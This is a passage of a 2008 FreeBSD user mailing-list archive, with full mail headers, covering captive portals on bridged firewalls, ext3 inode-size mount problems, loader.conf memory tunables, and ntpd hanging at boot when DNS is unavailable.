(PST) Date: Wed, 3 Dec 2008 14:25:20 -0800 From: Christopher Cowart To: Olivier Nicole Message-ID: <20081203222520.GA19693@hal.rescomp.berkeley.edu> Mail-Followup-To: Olivier Nicole , freebsd-questions@freebsd.org References: <200812030508.mB358SUx095910@banyan.cs.ait.ac.th> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-ripemd160; protocol="application/pgp-signature"; boundary="0OAP2g/MAC+5xKAE" Content-Disposition: inline In-Reply-To: <200812030508.mB358SUx095910@banyan.cs.ait.ac.th> Organization: RSSP-IT, UC Berkeley User-Agent: Mutt/1.5.16 (2007-06-09) Cc: freebsd-questions@freebsd.org Subject: Re: Firewall with bridged interfaces and captive portal X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 22:25:21 -0000 --0OAP2g/MAC+5xKAE Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Olivier Nicole wrote: > I need to implement a firewall with bridged interfaces that offers > captive portal (authentication before opening the traffic). [...] >=20 > Is there any solution that exists? >=20 > I looked at pfSense, but captive portal does not work on bridged > interfaces; it's one or the other. >=20 > Any other suggestion? Hello, We are using a combination of squid+ipfw. Although we are NATing the users, that really just introduces needless complexity that could be avoided with a bridging solution. Our web-app/captive portal/authentication program is written in-house; it's very tightly integrated with several existing pieces of infrastructure. I don't know if there are any solutions that will work out-of-the-box. I can get you more technical details if this is a direction you'd be interested in moving. --=20 Chris Cowart Network Technical Lead Network & Infrastructure Services, RSSP-IT UC Berkeley --0OAP2g/MAC+5xKAE Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.9 (FreeBSD) iQIcBAEBAwAGBQJJNwdQAAoJEIGh6j3cHUNPDqoQAJFjjQyrrCAH8McW7oRUJlI3 /fBvH+Y2uaomi8K77h7bFRISH8L3wz0H2iS/Krmett/eP81Zj5gCW3krp+XNE/Kj qK2u8d+XffYS75lcE24IF9Bo30RAeI5WuRUHM/IZifKmmXGpwsxbK494XOzdLfcD dyUWC/wCLWQstxhBS78Ddce2YFvwzWli8OQOSsNyoRJ2c/1i5vVeL5CAWMm/aPtA twSYeQ/jXBxLNpCDjJi8yqscu+5CMXILCoKHcHCS/CokOC8qpLmTS4hqOPj1tP43 4xv7J1xm2eS5PLvYzKc2IYCqlaGAPpUKIN2cMCCNRObNpFJWSFgWAea7/c9Qhoz2 U8OMfzuuPmJhY8tBH9iZcCcCSXr20Pe42/OgIjgoSJj9TAGZAdb5X+yoz+cAMtY5 4vLKsXKWJEtDgJW7II8VBF2YP9zYEXeId4S4NQ3wjKyv0AQrHOv9wdX5+Dj240LQ twlMu7p5yflghAG8ePkd7qP9MQ5curdX+aRS7CDABTz4DrS4FNZBIP7xfIShql4+ Jj3TbVecRX2BV46dTAKe+jQA1C5M3m/DQstWGUjCPQ4YZFHz7/UpLTAmZdUV5bZJ L0y8i0fMVdrhFPrZVkruE8OwrUeW5NqobJ89EjyZ8eRT+iSlAONTYBCstEHkKWQS 8/bHh7/4tbKa8ee9sh8y =f9Ec -----END PGP SIGNATURE----- --0OAP2g/MAC+5xKAE-- From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 22:28:24 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B2ED51065705 for ; Wed, 3 Dec 2008 22:28:24 +0000 (UTC) (envelope-from fernando.apesteguia@gmail.com) Received: from yw-out-2324.google.com (yw-out-2324.google.com [74.125.46.28]) by mx1.freebsd.org (Postfix) with ESMTP id 5B2D88FC17 for ; Wed, 3 Dec 2008 22:28:23 +0000 (UTC) (envelope-from fernando.apesteguia@gmail.com) Received: by yw-out-2324.google.com with SMTP id 9so1590855ywe.13 for ; Wed, 03 Dec 2008 14:28:23 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:cc:in-reply-to:mime-version:content-type :content-transfer-encoding:content-disposition:references; bh=ZG57n6hPUdov84GG8dZO/C0ndB4nYtbAbCB24QqPCzI=; b=ZiZd9VRS57cjrazypaBnXzeU0FFXR7LJANuwBpAmtj3JatQ4kxu3/RKPWzO4tsHwmZ UG+TpKfaLc3XsGwoakkp2SGUOtLliVANRiGqEUqB/q+IdlfuUGCPy3ec+d1qtB917GHC 3/rlEJuFlFYTYVZyD7M4sEFf0m2GOTdbBVukE= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:cc:in-reply-to:mime-version :content-type:content-transfer-encoding:content-disposition :references; b=ovr7igABoG7999dQO1kaTs4rbx4P5Lx1SfHVbKkZqMGbzDSVeyzgIaYr4NAM4e1pvN iQuhat7i6nIVBwe11Hxn6Pdx8FYUNo+VoRX4PxuPAt6ZxsnCEoaQe+S6gIpOpZggeHAU ck5xzsZcKbnGVQukPza+hy/vooowrW9Tslu6A= Received: by 10.142.132.2 with SMTP id f2mr5601013wfd.6.1228343301998; Wed, 03 Dec 2008 14:28:21 -0800 (PST) Received: by 10.142.180.20 with HTTP; Wed, 3 Dec 2008 14:28:21 -0800 (PST) Message-ID: <1bd550a00812031428h158c1339u3568508964450bd9@mail.gmail.com> Date: Wed, 3 Dec 2008 23:28:21 +0100 From: "=?ISO-8859-1?Q?Fernando_Apestegu=EDa?=" To: josh.carroll@gmail.com In-Reply-To: <8cb6106e0812031401p45eb3f4di51b71e48d8819b@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <1bd550a00812031145y7a94d7cbgf8c519ad35b2dce@mail.gmail.com> <8cb6106e0812031208k62c0979cjc97dd9fcdeb43b32@mail.gmail.com> <1bd550a00812031338o77f70007lbcc52325c91f5b3b@mail.gmail.com> <8cb6106e0812031401p45eb3f4di51b71e48d8819b@mail.gmail.com> Cc: FreeBSD Subject: Re: Mounting ext3fs partition X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 22:28:24 -0000 On Wed, Dec 3, 2008 at 11:01 PM, Josh Carroll wrote: >> Hi josh, >> >> Exactly, it is 256. So according to you, I can't use the mounted >> filesystem, right? >> >> Could you please explain in more detail, what the problem is? >> >> Thanks in advance. > > I believe around e2fsprogs version 1.40.5 or so, they changed the > default inode size from 128 to 256. The current ext2fs driver in > FreeBSD has a hard-coded inode size defined: > > #define EXT2_INODE_SIZE 128 > > I have a patch that dynamically determines this size, but I do not yet > have a good enough understanding of the ext2/3 spec to decide if the > changes I made are sufficient to fix the problem or if there is some > risk of breakage because the extra 128 is required for some metadata > of some sort. > > What happened in your case is something I was afraid of and what > prompted me to look into a fix in the first place - namely, newer > Linux distributions or even file systems created by e2fsprogs from > ports in FreeBSD will be unusable with the current ext2fs driver, > since it assumes a size of 128. > > There is some more information here regarding the patch and its current status: > > http://unix.derkeiler.com/Mailing-Lists/FreeBSD/stable/2008-11/msg00421.html > > I (or even better, someone more knowledgeable about file systems) need > to read through the ext2/3 spec and determine if the changes I've made > cause any breakage. Ok, Thanks for the clarification and overall, thanks for the work of submitting the patch regardless of it is merged yet or not. > > Thanks, > Josh > From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 22:32:58 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E55661065672 for ; Wed, 3 Dec 2008 22:32:58 +0000 (UTC) (envelope-from eculp@casasponti.net) Received: from ns2.bafirst.com (72-12-2-19.static.networktel.net [72.12.2.19]) by mx1.freebsd.org (Postfix) with ESMTP id 9D54E8FC08 for ; Wed, 3 Dec 2008 22:32:58 +0000 (UTC) (envelope-from eculp@casasponti.net) Received: from casasponti.net ([201.155.7.3]) by ns2.bafirst.com with esmtp; Wed, 03 Dec 2008 16:32:55 -0600 id 000D4CF6.49370918.0000EFF1 Received: from localhost (localhost [127.0.0.1]) (uid 80) by casasponti.net with local; Wed, 03 Dec 2008 16:32:53 -0600 id 00130D46.49370915.0000888C Received: from dsl-189-129-8-53.prod-infinitum.com.mx (dsl-189-129-8-53.prod-infinitum.com.mx [189.129.8.53]) by intranet.casasponti.net (Horde Framework) with HTTP; Wed, 03 Dec 2008 16:32:53 -0600 Message-ID: <20081203163253.17qwm4xctqaoccc4w@intranet.casasponti.net> Date: Wed, 03 Dec 2008 16:32:53 -0600 From: eculp@casasponti.net To: freebsd-questions@freebsd.org References: <20081203103803.V43611@emmett.excelsus.com> In-Reply-To: <20081203103803.V43611@emmett.excelsus.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; DelSp="Yes"; format="flowed" Content-Disposition: inline Content-Transfer-Encoding: quoted-printable User-Agent: Dynamic Internet Messaging Program (DIMP) H3 (2.0-cvs) X-Remote-Browser: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.18) Gecko/20081114 Firefox/2.0.0.18 X-IMP-Server: 201.155.7.3 X-Originating-IP: 189.129.8.53 X-Originating-User: eculp@casasponti.net Subject: Re: loader.conf issues X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 22:32:59 -0000 Weldon S Godfrey 3 escribi=F3: > > I did a quick search for this and didn't see anyone seeing this. > > I am running 7.0-PRERELEASE amd64 > > This is my loader.conf: > > vm.kmem_size_max=3D"16106127360" > vm.kmem_size=3D"1073741824" > kern.maxvnodes=3D"800000" I've always changed those variables in /etc/sysctl.conf ed > > However, this is what happens after reboot: > > store1# sysctl -a | grep kmem > vm.kmem_size_scale: 3 > vm.kmem_size_max: 3221225472 > vm.kmem_size_min: 0 > vm.kmem_size: 1073741824 > store1# sysctl -a | grep kern.maxvn > kern.maxvnodes: 100000 > store1# > > > Is there some issue with vm.kmem_size_max being larger than 3G? If =20 > this has been fixed, let me know. I am using 7.0-RELEASE loader =20 > from amd64 iso since for some reason, when I complile a new loader =20 > on this Dell 2950-iii, I get an unusable loader (it just hangs =20 > before the screen to select safe mode, single user mode, etc). > > Thanks, > > Weldon > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.or= g" > From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 23:29:53 2008 Return-Path: Delivered-To: questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3417A106564A for ; Wed, 3 Dec 2008 23:29:53 +0000 (UTC) (envelope-from nlandys@gmail.com) Received: from fk-out-0910.google.com (fk-out-0910.google.com [209.85.128.184]) by mx1.freebsd.org (Postfix) with ESMTP id AD5A48FC14 for ; Wed, 3 Dec 2008 23:29:52 +0000 (UTC) (envelope-from nlandys@gmail.com) Received: by fk-out-0910.google.com with SMTP id k31so3354628fkk.11 for ; Wed, 03 Dec 2008 15:29:51 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:in-reply-to:mime-version:content-type :content-transfer-encoding:content-disposition:references; bh=R5gKQAWRf+OZEd3a2DFd7hjJn9+ajqddfmRNHJvh0dw=; b=w9fw44FJcfoSM5DcFxbrljOHRJMmSYtwbGX9GvLgou3Q8HiE25c6Wpkpig/cbjazPL I5/QgZRE/Ysrjp8ORutR5P9BaxijdjhWl1xpcDmBHOLQrkUBwjh5Geamqm7ooS15dvOE gLSWLkz668bb+PyuuTeYkCn+/BOunCS3IN6Co= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:in-reply-to:mime-version :content-type:content-transfer-encoding:content-disposition :references; b=V3gXP/DCKNkw52hOAODp5HRrzpCqMCyf+q8i3ED5mK5AAl1Ws/XwMb6rdVuERWSZgW Ro2nDQNzsG64Cer46pFp/JUypQf/FlIYkkqypgDY84MMxfpOq/IX/txBPh2hJSHxms/o 84vzbTJe9+Wx/RTw/XT/KZZSqF5KrXG3bYjTc= Received: by 10.180.213.14 with SMTP id l14mr4835615bkg.107.1228346991143; Wed, 03 Dec 2008 15:29:51 -0800 (PST) Received: by 10.180.240.16 with HTTP; Wed, 3 Dec 2008 15:29:51 -0800 (PST) Message-ID: <560f92640812031529n5406e1c4s81a211ead06cb009@mail.gmail.com> Date: Wed, 3 Dec 2008 15:29:51 -0800 From: "Nerius Landys" To: questions@freebsd.org In-Reply-To: <560f92640812031301m5f51d2c7ia3bcf44454a47820@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <560f92640811211647q551daccnaec4e8085bb8e042@mail.gmail.com> <560f92640812031301m5f51d2c7ia3bcf44454a47820@mail.gmail.com> Cc: Subject: Re: named and ntpd start order in rc.d X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 23:29:53 -0000 >> FreeBSD 7.0. I am having a problem when ntpd starts at bootup. It >> continues to have 2 processes running, the process which does the DNS lookup >> fails to exit, and ntpd fails to adjust the clock even after days of >> running. Immediately after bootup and several hours or days later this is >> what I get: >> >> # ps -U root | grep ntpd >> 87837 ?? Ss 0:00.03 /usr/sbin/ntpd -c /etc/ntp.conf -p >> /var/run/ntpd.pid >> 87838 ?? S 0:00.00 /usr/sbin/ntpd -c /etc/ntp.conf -p >> /var/run/ntpd.pid >> >> If I do a "/etc/rc.d/ntpd restart" on a running system it fixes the problem, >> and only one of the ntpd processes remains, and the clock gets adjusted. >> >> I have named running as a caching name server on my system. The contents of >> my /etc/resolv.conf: >> >> domain nerius.com >> nameserver 127.0.0.1 >> >> My /etc/rc.conf: >> >> ... >> named_enable="YES" >> ntpd_enable="YES" >> ... >> >> I believe that the problem with ntpd is that named is started AFTER ntpd. >> >> Trying to reproduce problem. On a running system. I shut down named. Then >> I restart ntpd, then I start named. I can reproduce the problem that >> happens on bootup - ntpd has 2 processes and does not adjust the clock. >> Restarting ntpd while named is running fixes the problem >> >> I believe that the fix for this is to add a dependency to /etc/rc.d/ntpd >> script, adding "named" to "REQUIRE" section in comments. In your opinion, >> is this a robust fix? For example the line in my /etc/rc.d/ntpd script that >> looks like so: >> >> # REQUIRE: DAEMON ntpdate cleanvar devfs >> >> would be changed to this: >> >> # REQUIRE: DAEMON ntpdate cleanvar devfs named > > Modifying /etc/rc.d/ntpd in this manner did not fix the problem. I > still have 2 ntpd processes running indefinitely after bootup of the > system, until I manually issue a "/etc/rc.d/ntpd restart", after which > the ntpd runs fine. As a separate test, I tried adjusting my > resolv.conf to point to an external name server, and I disabled named > at startup, and used the original /etc/rc.d/ntpd. I still got the > same problem - 2 ntpd processes running indefinitely. > > Does anyone know why I'm getting 2 ntpd processes running after bootup > (and ntpd fails to adjust the clock as a result)? Any suggested fix > would be appreciated. > I figured out a fix for this problem! I add ntpdate_enable="YES" to my /etc/rc.conf. As a result, after bootup ntpd is running only one process and the clock gets adjusted gradually after I set it back 30 seconds. So why does running ntpdate at bootup fix the ntpd 2 process hanging problem? Well I had a look at /etc/rc.d/ntpdate: # REQUIRE: NETWORKING syslogd named And, ntpd requires ntpdate. So maybe NETWORKING is the answer to this problem. Without NETWORKING DNS lookups cannot happen and the ntpd process that does the DNS lookups hangs. So it sounds like if you are gonna run ntpd at startup you'd better run ntpdate as well. From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 23:32:56 2008 Return-Path: Delivered-To: questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id DE9001065675 for ; Wed, 3 Dec 2008 23:32:56 +0000 (UTC) (envelope-from nlandys@gmail.com) Received: from mail-fx0-f21.google.com (mail-fx0-f21.google.com [209.85.220.21]) by mx1.freebsd.org (Postfix) with ESMTP id 6A6988FC1A for ; Wed, 3 Dec 2008 23:32:56 +0000 (UTC) (envelope-from nlandys@gmail.com) Received: by fxm14 with SMTP id 14so128337fxm.19 for ; Wed, 03 Dec 2008 15:32:55 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:cc:in-reply-to:mime-version:content-type :content-transfer-encoding:content-disposition:references; bh=DLq+0XdQdETg7BjWwmm1OH5jpCxskaIU6Ru8hDzZQuQ=; b=WgP0APClTcbtASFX7QKTSfN7t2d6doOLRU3SpWstWd5oB3x93GWtTMrXK3YxsokZNp T03UfepiO80ef9G7q1tNT5W6X5IQy9Eg2HGvOqilkLyNxlQ/65g5UOKX7IrdWaJ7NZwR dcxGCAF/oSCqfaHq7h5BvKuxAHvrOb1pwdx/E= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:cc:in-reply-to:mime-version :content-type:content-transfer-encoding:content-disposition :references; b=WAdD6/H2pmNh9iGW37aDLsuu82WGb+8pSkS2qxvsrZwr7MmgTWqIOtOJQZZZImZD0R QHzqUgZJLyr0grzfrhV+zmgSZINYI7hf5NAfqdF6s9OsBhA0r+Q+tLMx/fYHCTcdyC0f XxDpcCa4Q0NZ1kZlQUcbZAkRW3LVLFDCjuvFs= Received: by 10.181.192.10 with SMTP id u10mr4823888bkp.185.1228347175122; Wed, 03 Dec 2008 15:32:55 -0800 (PST) Received: by 10.180.240.16 with HTTP; Wed, 3 Dec 2008 15:32:55 -0800 (PST) Message-ID: <560f92640812031532t1b02ee4k8032670e7fbeed94@mail.gmail.com> Date: Wed, 3 Dec 2008 15:32:55 -0800 From: "Nerius Landys" To: glarkin@freebsd.org In-Reply-To: <493715BA.8050000@FreeBSD.org> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <560f92640811211647q551daccnaec4e8085bb8e042@mail.gmail.com> <560f92640812031301m5f51d2c7ia3bcf44454a47820@mail.gmail.com> <493715BA.8050000@FreeBSD.org> Cc: questions@freebsd.org Subject: Re: named and ntpd start order in rc.d X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 23:32:56 -0000 > I don't know why those processes are hung after boot, but in order to > troubleshoot the problem, I suggest that you modify the /etc/rc.d/ntpd > script to invoke ntpd from truss and log the output to a file, e.g. > /tmp/truss.log.$$. Once you've rebooted, kill the processes and post > the the log files on a web site somewhere so we can have a look at them. Um, the truss thing is a little over my head. I don't think I have the cranium capacity for this. Sorry. > Also, what are the contents of your /etc/ntp.conf file? Here is my ntp.conf: server 0.us.pool.ntp.org server 1.us.pool.ntp.org server 2.us.pool.ntp.org server 3.us.pool.ntp.org restrict default kod nomodify notrap nopeer noquery From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 23:38:58 2008 Return-Path: Delivered-To: questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 0F4C51065670 for ; Wed, 3 Dec 2008 23:38:58 +0000 (UTC) (envelope-from nlandys@gmail.com) Received: from mu-out-0910.google.com (mu-out-0910.google.com [209.85.134.190]) by mx1.freebsd.org (Postfix) with ESMTP id 903F48FC14 for ; Wed, 3 Dec 2008 23:38:57 +0000 (UTC) (envelope-from nlandys@gmail.com) Received: by mu-out-0910.google.com with SMTP id i2so3185494mue.3 for ; Wed, 03 Dec 2008 15:38:56 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:cc:in-reply-to:mime-version:content-type :content-transfer-encoding:content-disposition:references; bh=lvJn9gN7ydyARlNZMHGw0yRWuG6LfmOQps4P4IZXeHU=; b=Ouif5zNfoN8fPVpBL14w2S35zzYmmZLc2+WZSOs7iqfdV+qZ8cz9BF5b6fmne8YrOO Ie2v8vuchYgO74xV5rTNArCM99GQSq/IQhpqG5IFAJ50q/glBnHY6RuCS0BNFXd4Z4Pl ixVjqBwbCfyCbCE20TfHbuOOscb37HwSt1JQY= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:cc:in-reply-to:mime-version :content-type:content-transfer-encoding:content-disposition :references; b=NK84AE5XZrc0jCFLBadcpsScUmo5N8gLKhvetv4VweSy4SLOMF5x6yvyFSi3pD/sY7 B2hr8O4+cDA4ZFuI648V58/VYZhSz+DiXmXjBWE5MsGuToFD3wZIcj5j9X/ceJzI/76X /ROcGF5hYeLJBpQ8ZOS2tTl24d8KQCsbpSfKs= Received: by 10.181.18.2 with SMTP id v2mr4816154bki.194.1228347536222; Wed, 03 Dec 2008 15:38:56 -0800 (PST) Received: by 10.180.240.16 with HTTP; Wed, 3 Dec 2008 15:38:56 -0800 (PST) Message-ID: <560f92640812031538r39615524ne8f2afdf8ae7d4e8@mail.gmail.com> Date: Wed, 3 Dec 2008 15:38:56 -0800 From: "Nerius Landys" To: "Chuck Swiger" In-Reply-To: <77BB50CF-73C4-4A11-9E78-A3FA69D2D890@mac.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <560f92640811211647q551daccnaec4e8085bb8e042@mail.gmail.com> <560f92640812031301m5f51d2c7ia3bcf44454a47820@mail.gmail.com> <77BB50CF-73C4-4A11-9E78-A3FA69D2D890@mac.com> Cc: questions@freebsd.org Subject: Re: named and ntpd start order in rc.d X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 23:38:58 -0000 > When ntpd first starts up, it forks a child process to perform DNS > resolution of the timeservers listed in its config. If that fails, that > generally indicates that DNS was not working at the time, or something else > was going wrong with the network. > > [ See ntpd/ntp_config.c, search for fork() or "ntpd_initres". ] > > The fix is to make sure that you have a working network and resolver > available when you try to startup ntpd. Failing that, you can hardcode IP > addresses in /etc/ntp.conf, but that's a bad idea for anything outside of > timeservers which you control. > Thank you! That explains the problem. I had a hunch that the problem was along these lines. From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 23:46:44 2008 Return-Path: Delivered-To: FreeBSD-Questions@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id F3140106564A for ; Wed, 3 Dec 2008 23:46:44 +0000 (UTC) (envelope-from dokpm0@Phideaux.RawFedDogs.net) Received: from Phideaux.RawFedDogs.net (Phideaux.RawFedDogs.net [64.251.15.37]) by mx1.freebsd.org (Postfix) with ESMTP id CB9F88FC17 for ; Wed, 3 Dec 2008 23:46:44 +0000 (UTC) (envelope-from dokpm0@Phideaux.RawFedDogs.net) Received: from cpe-24-167-59-175.hot.res.rr.com ([24.167.59.175] helo=Blaidd-Drwg.RawFedDogs.net) by Phideaux.RawFedDogs.net with esmtpa (Exim 4.69 (FreeBSD)) (envelope-from ) id 1L815R-0006WJ-SB for FreeBSD-Questions@FreeBSD.org; Wed, 03 Dec 2008 17:24:55 -0600 Date: Wed, 3 Dec 2008 17:24:48 -0600 (CST) From: Kevin Monceaux X-X-Sender: dokpm0@Blaidd-Drwg.RawFedDogs.net To: FreeBSD Questions E-Mail List In-Reply-To: <20081203202155.GA84629@slackbox.xs4all.nl> Message-ID: References: <20081203202155.GA84629@slackbox.xs4all.nl> User-Agent: Alpine 2.00 (LNX 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Sender: dokpm0@Phideaux.RawFedDogs.net Cc: Subject: Re: Returning User With Filesystem/Memory Tuning Questions X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 23:46:45 -0000 On Wed, 3 Dec 2008, Roland Smith wrote: > Application crashed can also be due to bad hardware, especially memory. > Make sure that you rule out hardware troubles before diving into the > software. I don't think it was hardware related, but it's a possibility. Jogging my memory a bit more I think the first program I had memory allocation problems was tin. Fetching headers from even a semi-large newsgroup would cause tin to crash. I forget the exact error messages but they were something along the lines of not being able to allocate the needed amount of memory. At the times of the failures there appeared to be available RAM with swap space completely untouched. The errors occurred at about the same point in fetching the headers each time. After much Googling I tried adjusting the following: kern.maxdsiz kern.dfldsiz kern.maxssiz which greatly improved things. But, I adjusted them using examples of values I found on the net without really understanding what I was doing. This time around I want to learn how to tweak whatever settings need to be tweaked to best use my available memory. Are the above settings what I should be adjusting and/or are there others? I know it's probably impossible to give advice on exactly what to tune without knowing the exact errors I was seeing. But some general memory tuning advice might help until I'm able to reinstall and try things out. P.S. I've switched from tin to pan which seems to be much less of a memory hog, so that helps quite a bit. Kevin http://www.RawFedDogs.net http://www.WacoAgilityGroup.org Bruceville, TX Si hoc legere scis nimium eruditionis habes. Longum iter est per praecepta, breve et efficax per exempla!!! From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 23:53:26 2008 Return-Path: Delivered-To: questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 66F001065679 for ; Wed, 3 Dec 2008 23:53:26 +0000 (UTC) (envelope-from cswiger@mac.com) Received: from mail-out3.apple.com (mail-out3.apple.com [17.254.13.22]) by mx1.freebsd.org (Postfix) with ESMTP id 4CB648FC31 for ; Wed, 3 Dec 2008 23:53:26 +0000 (UTC) (envelope-from cswiger@mac.com) Received: from relay12.apple.com (relay12.apple.com [17.128.113.53]) by mail-out3.apple.com (Postfix) with ESMTP id ECB6C47449AF; Wed, 3 Dec 2008 15:34:47 -0800 (PST) Received: from relay12.apple.com (unknown [127.0.0.1]) by relay12.apple.com (Symantec Brightmail Gateway) with ESMTP id D94D0464002; Wed, 3 Dec 2008 15:34:47 -0800 (PST) X-AuditID: 11807135-a7b7dbb000000d45-3a-49371797e609 Received: from cswiger1.apple.com (cswiger1.apple.com [17.227.140.124]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by relay12.apple.com (Apple SCV relay) with ESMTP id C16BE420003; Wed, 3 Dec 2008 15:34:47 -0800 (PST) Message-Id: <77BB50CF-73C4-4A11-9E78-A3FA69D2D890@mac.com> From: Chuck Swiger To: Nerius Landys In-Reply-To: <560f92640812031301m5f51d2c7ia3bcf44454a47820@mail.gmail.com> Content-Type: text/plain; charset=US-ASCII; format=flowed; delsp=yes Content-Transfer-Encoding: 7bit Mime-Version: 1.0 (Apple Message framework v929.2) Date: Wed, 3 Dec 2008 15:34:47 -0800 References: <560f92640811211647q551daccnaec4e8085bb8e042@mail.gmail.com> <560f92640812031301m5f51d2c7ia3bcf44454a47820@mail.gmail.com> X-Mailer: Apple Mail (2.929.2) X-Brightmail-Tracker: AAAAAA== Cc: questions@freebsd.org Subject: Re: named and ntpd start order in rc.d X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 23:53:26 -0000 On Dec 3, 2008, at 1:01 PM, Nerius Landys wrote: [ ... ] > Does anyone know why I'm getting 2 ntpd processes running after bootup > (and ntpd fails to adjust the clock as a result)? Any suggested fix > would be appreciated. When ntpd first starts up, it forks a child process to perform DNS resolution of the timeservers listed in its config. If that fails, that generally indicates that DNS was not working at the time, or something else was going wrong with the network. [ See ntpd/ntp_config.c, search for fork() or "ntpd_initres". ] The fix is to make sure that you have a working network and resolver available when you try to startup ntpd. Failing that, you can hardcode IP addresses in /etc/ntp.conf, but that's a bad idea for anything outside of timeservers which you control. -- -Chuck From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 00:08:18 2008 Return-Path: Delivered-To: questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 34CFF106564A for ; Thu, 4 Dec 2008 00:08:18 +0000 (UTC) (envelope-from glarkin@FreeBSD.org) Received: from mail1.sourcehosting.net (113901-app1.sourcehosting.net [72.32.213.11]) by mx1.freebsd.org (Postfix) with ESMTP id 10FC48FC19 for ; Thu, 4 Dec 2008 00:08:18 +0000 (UTC) (envelope-from glarkin@FreeBSD.org) Received: from 68-189-244-97.dhcp.oxfr.ma.charter.com ([68.189.244.97] 